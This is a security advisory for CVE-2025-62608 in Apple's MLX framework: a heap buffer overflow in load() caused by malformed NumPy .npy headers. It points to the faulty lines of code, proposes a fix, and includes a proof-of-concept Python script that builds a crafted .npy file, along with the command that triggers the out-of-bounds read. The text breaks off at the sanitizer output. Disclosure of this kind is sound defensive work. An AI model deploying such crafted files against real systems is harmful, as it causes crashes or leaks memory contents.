CVE-2025-62608 — MLX has heap-buffer-overflow in load()

Affected: ml-explore mlx

MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.

GHSA-w6vg-jg77-2qg6 — MLX has heap-buffer-overflow in load()

Affected: PyPI: mlx

## Summary

Heap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.

Environment: - OS: Ubuntu 20.04.6 LTS - Compiler: Clang 19.1.7

## Vulnerability

The parser reads a 118-byte header from the file, but line 268 uses `std::string(&buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation.

**Location**: `mlx/io/load.cpp:268,276`

**Bug #1** (line 268): ```cpp std::string header(&buffer[0]); // stops at first null byte ```

**Bug #2** (line 276): ```cpp bool col_contiguous = header[34] == 'T'; // No bounds check ```

## Possible Fix

```cpp // Line 268 std::string header(&buffer[0], header_len);

// Line 276 if (header.length() < 35) throw std::runtime_error("Malformed header"); ```

## PoC

```bash pip install mlx

# generate exploit cat > exploit.py << 'EOF' import struct magic = b'\x93NUMPY' version = b'\x01\x00' header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }" header += b' ' * (118 - len(header) - 1) + b'\n' with open('exploit.npy', 'wb') as f: f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff') EOF python3 exploit.py

python3 -c "import mlx.core as mx; mx.load('exploit.npy')" ```

**AddressSanitizer Output (with instrumented b…

Most recent entries from all

CVE-2025-62608 — MLX has heap-buffer-overflow in load()

GHSA-w6vg-jg77-2qg6 — MLX has heap-buffer-overflow in load()